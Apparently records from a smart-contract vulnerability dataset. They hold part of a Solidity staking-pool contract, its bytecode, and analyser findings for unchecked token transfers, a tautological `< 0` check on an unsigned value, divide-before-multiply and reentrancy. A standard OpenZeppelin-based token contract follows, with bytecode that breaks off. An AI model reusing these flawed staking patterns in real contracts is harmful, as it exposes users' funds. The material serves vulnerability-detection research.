UserStake storage currentUserStake = userStakeFromPoolID[_poolID][sender]; StakePool storage currentPool = stakePoolFromPoolID[_poolID]; coinToReward storage cr = currentPool._coinToReward; uint256 availableHarvest = getRewardPaidView(_poolID,sender); if(availableHarvest < 0){ revert('No rewards available!'); } currentUserStake._rewardClaimed += availableHarvest; currentPool._rewardClaimed += availableHarvest; IERC20(cr._address).transfer(sender,availableHarvest); currentUserStake._startTime = block.timestamp; //Emit harvest collected poolID,address,amount emit Harvest(_poolID,sender,availableHarvest); } //admin actions function createStakePool( uint256 endDate, uint256 stakeFee, uint256 unStakeFee, address tokenStake, uint256 tokenStakeDecimals, uint256 tokenStakeLimitWholeNumber, address tokenReward, uint256 tokenRewardDecimals, uint256 tokenRewardPoolAmount, uint256 tokenRewardStakePercentage, uint256 tokenRewardStakeRateInEpoch ) external onlyAdmin { address sender = _msgSender(); uint256 newStartTime = block.timestamp; uint256 transferAmount = tokenRewardPoolAmount * (10 ** tokenRewardDecimals); IERC20(tokenReward).transferFrom(sender,address(this),transferAmount); stakePoolFromPoolID[nextPoolID] = StakePool( nextPoolID, stakeFee, unStakeFee, coinToStake(tokenStake,tokenStakeDecimals,tokenStakeLimitWholeNumber), coinToReward(tokenReward,tokenRewardDecimals,tokenRewardPoolAmount,tokenRewardStakePercentage,tokenRewardStakeRateInEpoch), 0, 0, newStartTime, endDate ); endDateFromPoolID[nextPoolID] = endDate; isActiveFromPoolID[nextPoolID] = true; emit NewStakePool(nextPoolID,tokenStake,tokenReward); nextPoolID++; } function endStakePool(uint256 _poolID) external onlyAdmin isPoolExist(_poolID) isPoolActive(_poolID){ address sender = _msgSender(); StakePool storage currentPool = stakePoolFromPoolID[_poolID]; coinToStake storage cs = currentPool._coinToStake; coinToReward storage cr = currentPool._coinToReward; uint256 endDate = block.timestamp; currentPool._endDate = endDate; endDateFromPoolID[_poolID] = endDate; isActiveFromPoolID[_poolID] = false; uint256 rewardPaid = getRewardPaidPool(_poolID,endDate); uint256 availableBal = IERC20(cr._address).balanceOf(address(this)); uint256 withdrawBal; if(cs._address == cr._address){ withdrawBal = availableBal - currentPool._amountStaked - rewardPaid; }else{ withdrawBal = availableBal - rewardPaid; } IERC20(cr._address).transfer(sender,withdrawBal); emit EndStakePool(_poolID,endDate); } function updateStakePoolFee(uint256 _poolID, uint256 stakeFee, uint256 unStakeFee) external onlyAdmin isPoolExist(_poolID) isPoolActive(_poolID){ StakePool storage currentPool = stakePoolFromPoolID[_poolID]; currentPool._stakeFee = stakeFee; currentPool._unStakeFee = unStakeFee; // emit fee updated poolID,stakeFee,unstakeFee emit UpdateStakeFees(_poolID,stakeFee,unStakeFee); } function updateFeeCollector(address _newAddress) external onlyAdmin { feeCollector = _newAddress; } }
0x608060405234801561001057600080fd5b506004361061014c5760003560e01c80639373bfc8116100c3578063d36d97f11161007c578063d36d97f114610512578063ddc6326214610525578063e11bed7a14610538578063e5d9854e14610564578063f2fde38b14610584578063fd4a586b1461059757600080fd5b80639373bfc814610419578063b0bd2486146104a6578063bf1f0f94146104c6578063c415b95c146104d9578063c814711a146104ec578063d2c35ce8146104ff57600080fd5b8063390724ac11610115578063390724ac14610200578063670a6fd91461020957806374af381b146102795780637b0472f01461028c5780638a1530851461029f5780638da5cb5b146103f457600080fd5b80620e0cde146101515780630c842e2a146101775780631362acdc1461018c578063252036dd146101bf578063372caeb8146101ed575b600080fd5b61016461015f366004611f61565b6105a0565b6040519081526020015b60405180910390f35b61018a610185366004611f83565b6105d1565b005b6101af61019a366004611f03565b600a6020526000908152604090205460ff1681565b604051901515815260200161016e565b6101af6101cd366004611f35565b600b60209081526000928352604080842090915290825290205460ff1681565b61018a6101fb366004611f61565b6106bd565b61016460025481565b61026a610217366004611e85565b6001600160a01b038216600090815260016020908152604091829020805460ff191693151593841790558151808301909252600c82526b41646d696e2073746174757360a01b908201529260ff90911690565b60405161016e9392919061203c565b61018a610287366004611faf565b610bb0565b61018a61029a366004611f61565b610ed6565b61035b6102ad366004611f03565b60056020818152600092835260409283902080546001820154600283015486516060808201895260038601546001600160a01b03908116835260048701548389015297860154828a0152885160a081018a5260068701549098168852600786015496880196909652600885015497870197909752600984015494860194909452600a8301546080860152600b830154600c840154600d850154600e9095015493979296929492939192909189565b60408051998a526020808b01999099528981019790975285516001600160a01b039081166060808c0191909152898801516080808d01919091529789015160a08c0152865190911660c08b01529785015160e08a0152958401516101008901529583015161012088015292909101516101408601526101608501526101808401526101a08301919091526101c08201526101e00161016e565b6000546001600160a01b03165b6040516001600160a01b03909116815260200161016e565b610471610427366004611f35565b600c60209081526000928352604080842090915290825290208054600182015460028301546003840154600485015460059095015493946001600160a01b03909316939192909186565b604080519687526001600160a01b039095166020870152938501929092526060840152608083015260a082015260c00161016e565b6101646104b4366004611f03565b60086020526000908152604090205481565b6101646104d4366004611ebc565b6116e0565b600454610401906001600160a01b031681565b6101646104fa366004611f35565b6116fc565b61018a61050d366004611e63565b611876565b61018a610520366004611f03565b6118c7565b61018a610533366004611f03565b611b2e565b6101af610546366004611e63565b6001600160a01b031660009081526001602052604090205460ff1690565b610164610572366004611f03565b60096020526000908152604090205481565b61018a610592366004611e63565b611cd3565b61016460035481565b600760205281600052604060002081815481106105bc57600080fd5b90600052602060002001600091509150505481565b3360009081526001602052604090205460ff166106095760405162461bcd60e51b815260040161060090612162565b60405180910390fd5b8260025481111561062c5760405162461bcd60e51b8152600401610600906120f4565b6000848152600a6020526040902054849060ff1661065c5760405162461bcd60e51b8152600401610600906120b0565b600085815260056020908152604091829020600181018790556002810186905582518781529182018690529187917f96b7cd0ac8c8b94606701993a9a66bc627b74a92f7d0394349e525a43232d3cf910160405180910390a2505050505050565b816002548111156106e05760405162461bcd60e51b8152600401610600906120f4565b6000838152600b602090815260408083203380855292529091205460ff1661071a5760405162461bcd60e51b81526004016106009061212b565b6000848152600c602090815260408083206001600160a01b0385168452825280832060038082015489865260059094529190932090810186838111156107b15760405162461bcd60e51b815260206004820152602660248201527f596f7520646f206e6f742068617665207468617420616d6f756e7420617661696044820152656c61626c652160d01b6064820152608401610600565b6006830160006107c18b896116fc565b90506002850154600060646107d683876122b8565b6107e091906121a9565b90508487600b0160008282546107f691906122d7565b925050819055508489600301600082825461081191906122d7565b909155506000905061082382876122d7565b855488549192506001600160a01b03918216911614156108e25760008261084a8689612191565b61085491906122d7565b885460405163a9059cbb60e01b81526001600160a01b038f811660048301526024820184905292935091169063a9059cbb90604401602060405180830381600087803b1580156108a357600080fd5b505af11580156108b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108db9190611ee6565b50506109ef565b865460405163a9059cbb60e01b81526001600160a01b038d81166004830152602482018490529091169063a9059cbb90604401602060405180830381600087803b15801561092f57600080fd5b505af1158015610943573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109679190611ee6565b50845460405163a9059cbb60e01b81526001600160a01b038d81166004830152602482018790529091169063a9059cbb90604401602060405180830381600087803b1580156109b557600080fd5b505af11580156109c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ed9190611ee6565b505b838a6005016000828254610a039190612191565b925050819055508388600c016000828254610a1e9190612191565b90915550504260048b8101919091558754815460405163a9059cbb60e01b81526001600160a01b039182169381019390935260248301859052169063a9059cbb90604401602060405180830381600087803b158015610a7c57600080fd5b505af1158015610a90573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ab49190611ee6565b508a6001600160a01b03168e7f7b345194d2d4e0331bb7e4732b3834335147f9590474eff9890f3fc72d764d1984604051610b1091815260406020820181905260079082015266756e5374616b6560c81b606082015260800190565b60405180910390a38a6001600160a01b03168e7f04a4cf4c467491198265a0003e5875c0772cef48f1813c5dba7b12da38bd594888604051610b5491815260200190565b60405180910390a38a6001600160a01b03168e7f393ccd03ff98115189a2796d79ffa176e434468dbeea90a87972324be8c5071886604051610b9891815260200190565b60405180910390a35050505050505050505050505050565b3360009081526001602052604090205460ff16610bdf5760405162461bcd60e51b815260040161060090612162565b33426000610bee87600a61220e565b610bf890876122b8565b6040516323b872dd60e01b81526001600160a01b03858116600483015230602483015260448201839052919250908916906323b872dd90606401602060405180830381600087803b158015610c4c57600080fd5b505af1158015610c60573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c849190611ee6565b5060405180610120016040528060025481526020018e81526020018d815260200160405180606001604052808e6001600160a01b031681526020018d81526020018c81525081526020016040518060a001604052808b6001600160a01b031681526020018a815260200189815260200188815260200187815250815260200160008152602001600081526020018381526020018f81525060056000600254815260200190815260200160002060008201518160000155602082015181600101556040820151816002015560608201518160030160008201518160000160006101000a8154816001600160a01b0302191690836001600160a01b031602179055506020820151816001015560408201518160020155505060808201518160060160008201518160000160006101000a8154816001600160a01b0302191690836001600160a01b0316021790555060208201518160010155604082015181600201556060820151816003015560808201518160040155505060a082015181600b015560c082015181600c015560e082015181600d015561010082015181600e01559050508d600960006002548152602001908152602001600020819055506001600a6000600254815260200190815260200160002060006101000a81548160ff021916908315150217905550876001600160a01b03168b6001600160a01b03166002547f51d58f4be714e4f35b2a7c4c48558a4a8461550f041b9cfafe8e70111a14cb2a60405160405180910390a460028054906000610ec1836122ee565b91905055505050505050505050505050505050565b81600254811115610ef95760405162461bcd60e51b8152600401610600906120f4565b60008381526009602052604090205483904210610f585760405162461bcd60e51b815260206004820181905260248201527f5374616b696e6720666f72207468697320706f6f6c2068617320656e646564216044820152606401610600565b60008481526005602081905260409091209081015460048201543392916003830191610f8590600a61220e565b610f8f90886121a9565b111580610f9e57506002810154155b610fea5760405162461bcd60e51b815260206004820152601d60248201527f596f7520617265206f76657220746865207374616b65206c696d6974210000006044820152606401610600565b6000808360060190506000606485600101548a61100791906122b8565b61101191906121a9565b60008b8152600b602090815260408083206001600160a01b038b16845290915290205490915060ff16156113175760008a8152600c602090815260408083206001600160a01b038a1684529091528120600286015490919061107557506000611097565b600186015461108590600a61220e565b866002015461109491906122b8565b90505b8082600301548c6110a89190612191565b1115806110b3575080155b6110ff5760405162461bcd60e51b815260206004820152601d60248201527f596f7520617265206f76657220746865207374616b65206c696d6974210000006044820152606401610600565b600061110b8d8a6116fc565b905086546040516323b872dd60e01b81526001600160a01b038b81166004830152306024830152604482018f9052909116906323b872dd90606401602060405180830381600087803b15801561116057600080fd5b505af1158015611174573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111989190611ee6565b50845487546001600160a01b03908116911614156111cc57806111bb858e6122d7565b6111c59190612191565b955061125f565b6111d6848d6122d7565b855460405163a9059cbb60e01b81526001600160a01b038c811660048301526024820185905292985091169063a9059cbb90604401602060405180830381600087803b15801561122557600080fd5b505af1158015611239573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061125d9190611ee6565b505b808360050160008282546112739190612191565b925050819055508088600c01600082825461128e9190612191565b925050819055508588600b0160008282546112a99190612191565b92505081905550858360030160008282546112c49190612191565b90915550504260048401556040518181526001600160a01b038a16908e907f393ccd03ff98115189a2796d79ffa176e434468dbeea90a87972324be8c507189060200160405180910390a35050506115a3565b83546040516323b872dd60e01b81526001600160a01b038881166004830152306024830152604482018c9052429216906323b872dd90606401602060405180830381600087803b15801561136a57600080fd5b505af115801561137e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a29190611ee6565b506113ad828b6122d7565b93506001600b60008d81526020019081526020016000206000896001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055508a60086000600354815260200190815260200160002081905550600760008c8152602001908152602001600020600354908060018154018082558091505060019003906000526020600020016000909190919091505560066000886001600160a01b03166001600160a01b0316815260200190815260200160002060035490806001815401808255809150506001900390600052602060002001600090919091909150556040518060c001604052806003548152602001886001600160a01b031681526020018c81526020018581526020018281526020016000815250600c60008d81526020019081526020016000206000896001600160a01b03166001600160a01b031681526020019081526020016000206000820151816000015560208201518160010160006101000a8154816001600160a01b0302191690836001600160a01b0316021790555060408201518160020155606082015181600301556080820151816004015560a082015181600501559050508386600b0160008282546115879190612191565b90915550506003805490600061159c836122ee565b9190505550505b83546004805460405163a9059cbb60e01b81526001600160a01b0391821692810192909252602482018490529091169063a9059cbb90604401602060405180830381600087803b1580156115f657600080fd5b505af115801561160a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061162e9190611ee6565b50856001600160a01b03168a7f7b345194d2d4e0331bb7e4732b3834335147f9590474eff9890f3fc72d764d1983604051611688918152604060208201819052600590820152645374616b6560d81b606082015260800190565b60405180910390a3856001600160a01b03168a7f02567b2553aeb44e4ddd5d68462774dc3de158cb0f2c2da1740e729b22086aff856040516116cc91815260200190565b60405180910390a350505050505050505050565b600660205281600052604060002081815481106105bc57600080fd5b6000826002548111156117215760405162461bcd60e51b8152600401610600906120f4565b6000848152600b602090815260408083206001600160a01b038716845290915290205460ff166117635760405162461bcd60e51b81526004016106009061212b565b6000848152600c602090815260408083206001600160a01b03871684528252808320878452600590925290912060038083015490820190600683019060008981526009602052604090205442106118475760648260010154600a6117c7919061220e565b6004808501549088015460008d8152600960205260409020546117ea91906122d7565b60018701546117fa90600a61220e565b600387015461180990876122b8565b61181391906121a9565b61181d91906122b8565b61182791906121a9565b61183191906122b8565b61183b91906121a9565b9650505050505061186f565b60648260010154600a61185a919061220e565b83600401548760040154426117ea91906122d7565b5092915050565b3360009081526001602052604090205460ff166118a55760405162461bcd60e51b815260040161060090612162565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b3360009081526001602052604090205460ff166118f65760405162461bcd60e51b815260040161060090612162565b806002548111156119195760405162461bcd60e51b8152600401610600906120f4565b6000828152600a6020526040902054829060ff166119495760405162461bcd60e51b8152600401610600906120b0565b600083815260056020908152604080832042600e820181905560098452828520819055600a909352908320805460ff191690553392909160038301916006840191906119958983611d81565b83546040516370a0823160e01b81523060048201529192506000916001600160a01b03909116906370a082319060240160206040518083038186803b1580156119dd57600080fd5b505afa1580156119f1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a159190611f1c565b845486549192506000916001600160a01b0390811691161415611a54578287600b015483611a4391906122d7565b611a4d91906122d7565b9050611a61565b611a5e83836122d7565b90505b845460405163a9059cbb60e01b81526001600160a01b038a81166004830152602482018490529091169063a9059cbb90604401602060405180830381600087803b158015611aae57600080fd5b505af1158015611ac2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ae69190611ee6565b508a7f2437745a5285b91a3053ca625785b56d2c744c28164b6133530ae603c947cdfc85604051611b1991815260200190565b60405180910390a25050505050505050505050565b80600254811115611b515760405162461bcd60e51b8152600401610600906120f4565b6000828152600b602090815260408083203380855292529091205460ff16611b8b5760405162461bcd60e51b81526004016106009061212b565b6000838152600c602090815260408083206001600160a01b038516845282528083208684526005909252822090916006820190611bc887866116fc565b905080846005016000828254611bde9190612191565b925050819055508083600c016000828254611bf99190612191565b9091555050815460405163a9059cbb60e01b81526001600160a01b038781166004830152602482018490529091169063a9059cbb90604401602060405180830381600087803b158015611c4b57600080fd5b505af1158015611c5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c839190611ee6565b504260048501556040518181526001600160a01b0386169088907f393ccd03ff98115189a2796d79ffa176e434468dbeea90a87972324be8c507189060200160405180910390a350505050505050565b6000546001600160a01b03163314611d265760405162461bcd60e51b8152602060048201526016602482015275596f7520617265206e6f7420746865204f776e65722160501b6044820152606401610600565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600082600254811115611da65760405162461bcd60e51b8152600401610600906120f4565b6000848152600560205260409020600b810154600782015460038301916006840191606490611dd690600a61220e565b6004840154600d870154611dea908b6122d7565b6001870154611dfa90600a61220e565b6003870154611e0990876122b8565b611e1391906121a9565b611e1d91906122b8565b611e2791906121a9565b611e3191906122b8565b611e3b91906121a9565b98975050505050505050565b80356001600160a01b0381168114611e5e57600080fd5b919050565b600060208284031215611e7557600080fd5b611e7e82611e47565b9392505050565b60008060408385031215611e9857600080fd5b611ea183611e47565b91506020830135611eb18161231f565b809150509250929050565b60008060408385031215611ecf57600080fd5b611ed883611e47565b946020939093013593505050565b600060208284031215611ef857600080fd5b8151611e7e8161231f565b600060208284031215611f1557600080fd5b5035919050565b600060208284031215611f2e57600080fd5b5051919050565b60008060408385031215611f4857600080fd5b82359150611f5860208401611e47565b90509250929050565b60008060408385031215611f7457600080fd5b50508035926020909101359150565b600080600060608486031215611f9857600080fd5b505081359360208301359350604090920135919050565b60008060008060008060008060008060006101608c8e031215611fd157600080fd5b8b359a5060208c0135995060408c01359850611fef60608d01611e47565b975060808c0135965060a08c0135955061200b60c08d01611e47565b945060e08c013593506101008c013592506101208c013591506101408c013590509295989b509295989b9093969950565b606081526000845180606084015260005b8181101561206a576020818801810151608086840101520161204d565b8181111561207c576000608083860101525b506001600160a01b0385166020840152601f01601f1916820160800190506120a8604083018415159052565b949350505050565b60208082526024908201527f5374616b696e6720666f72207468697320706f6f6c206973206e6f74206163746040820152636976652160e01b606082015260800190565b6020808252601c908201527f5374616b696e6720506f6f6c20646f6573206e6f742065786973742100000000604082015260600190565b6020808252601f908201527f596f752068617665206e6f207374616b6520696e207468697320706f6f6c2100604082015260600190565b602080825260159082015274596f7520617265206e6f7420616e2041646d696e2160581b604082015260600190565b600082198211156121a4576121a4612309565b500190565b6000826121c657634e487b7160e01b600052601260045260246000fd5b500490565b600181815b808511156122065781600019048211156121ec576121ec612309565b808516156121f957918102915b93841c93908002906121d0565b509250929050565b6000611e7e8383600082612224575060016122b2565b81612231575060006122b2565b816001811461224757600281146122515761226d565b60019150506122b2565b60ff84111561226257612262612309565b50506001821b6122b2565b5060208310610133831016604e8410600b8410161715612290575081810a6122b2565b61229a83836121cb565b80600019048211156122ae576122ae612309565b0290505b92915050565b60008160001904831182151516156122d2576122d2612309565b500290565b6000828210156122e9576122e9612309565b500390565b600060001982141561230257612302612309565b5060010190565b634e487b7160e01b600052601160045260246000fd5b801515811461232d57600080fd5b5056fea2646970667358221220abf1584a402efb2429b35df1bd3f60e911ab553053d6868c0e480391f1a264c064736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
2,539
0x8af311bcfcb0f7cccb729f1459328667d06b3c57
pragma solidity ^0.4.24; // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } // File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; uint256 internal totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: openzeppelin-solidity/contracts/token/ERC20/DetailedERC20.sol /** * @title DetailedERC20 token * @dev The decimals are only for visualization purposes. * All the operations are done using the smallest and indivisible token unit, * just as on Ethereum all the operations are done in wei. */ contract DetailedERC20 is ERC20 { string public name; string public symbol; uint8 public decimals; constructor(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } } // File: openzeppelin-solidity/contracts/token/ERC20/BurnableToken.sol /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } // File: openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: openzeppelin-solidity/contracts/token/ERC20/MintableToken.sol /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) public hasMintPermission canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() public onlyOwner canMint returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } // File: contracts/BSPCP.sol contract BSPCP is StandardToken, DetailedERC20, BurnableToken, MintableToken { constructor(string _name, string _symbol, uint8 _decimals) DetailedERC20(_name, _symbol, _decimals) public { } }
0x6080604052600436106100fb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461010057806306fdde0314610129578063095ea7b3146101b357806318160ddd146101d757806323b872dd146101fe578063313ce5671461022857806340c10f191461025357806342966c6814610277578063661884631461029157806370a08231146102b5578063715018a6146102d65780637d64bcb4146102eb5780638da5cb5b1461030057806395d89b4114610331578063a9059cbb14610346578063d73dd6231461036a578063dd62ed3e1461038e578063f2fde38b146103b5575b600080fd5b34801561010c57600080fd5b506101156103d6565b604080519115158252519081900360200190f35b34801561013557600080fd5b5061013e6103f8565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610178578181015183820152602001610160565b50505050905090810190601f1680156101a55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101bf57600080fd5b50610115600160a060020a0360043516602435610486565b3480156101e357600080fd5b506101ec6104ec565b60408051918252519081900360200190f35b34801561020a57600080fd5b50610115600160a060020a03600435811690602435166044356104f2565b34801561023457600080fd5b5061023d610655565b6040805160ff9092168252519081900360200190f35b34801561025f57600080fd5b50610115600160a060020a036004351660243561065e565b34801561028357600080fd5b5061028f60043561076d565b005b34801561029d57600080fd5b50610115600160a060020a036004351660243561077a565b3480156102c157600080fd5b506101ec600160a060020a0360043516610869565b3480156102e257600080fd5b5061028f610884565b3480156102f757600080fd5b506101156108fc565b34801561030c57600080fd5b506103156109aa565b60408051600160a060020a039092168252519081900360200190f35b34801561033d57600080fd5b5061013e6109be565b34801561035257600080fd5b50610115600160a060020a0360043516602435610a19565b34801561037657600080fd5b50610115600160a060020a0360043516602435610ae6565b34801561039a57600080fd5b506101ec600160a060020a0360043581169060243516610b7f565b3480156103c157600080fd5b5061028f600160a060020a0360043516610baa565b6005547501000000000000000000000000000000000000000000900460ff1681565b6003805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561047e5780601f106104535761010080835404028352916020019161047e565b820191906000526020600020905b81548152906001019060200180831161046157829003601f168201915b505050505081565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b600160a060020a03831660009081526020819052604081205482111561051757600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561054757600080fd5b600160a060020a038316151561055c57600080fd5b600160a060020a038416600090815260208190526040902054610585908363ffffffff610bcf16565b600160a060020a0380861660009081526020819052604080822093909355908516815220546105ba908363ffffffff610be116565b600160a060020a0380851660009081